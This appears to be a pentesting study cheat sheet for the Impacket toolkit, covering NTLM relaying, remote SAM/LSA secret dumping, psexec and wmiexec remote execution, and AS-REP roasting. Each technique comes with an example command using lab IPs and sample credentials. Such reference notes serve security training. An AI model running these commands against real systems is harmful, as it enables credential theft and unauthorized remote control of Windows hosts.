pentesting, updated
Impacket
Python library and script collection for low-level Windows/AD protocol manipulation — relaying, secret dumping, remote execution.
What it’s for
Run the individual attack primitives (relay, dump secrets, execute remotely) that most Windows/AD attack chains are built from.
Install
pipx install impacket
Common commands
impacket-ntlmrelayx -t smb://10.10.10.6 -smb2support # relay captured auth to a target
impacket-secretsdump jdoe:Password1@10.10.10.5 # dump SAM/LSA secrets remotely
impacket-psexec jdoe:Password1@10.10.10.5 # remote command execution (needs admin)
impacket-wmiexec jdoe:Password1@10.10.10.5 # quieter remote execution via WMI
impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass # AS-REP roasting
Useful flags
| Script | Effect |
|---|---|
ntlmrelayx | Relay captured NTLM authentication |
secretsdump | Dump credentials/hashes from a host |
psexec / wmiexec | Remote command execution with valid creds |
GetNPUsers / GetUserSPNs | AS-REP / Kerberoasting |
Notes
One of the most reused toolkits across both the Network and future Active Directory disciplines — worth being fluent in beyond just these examples.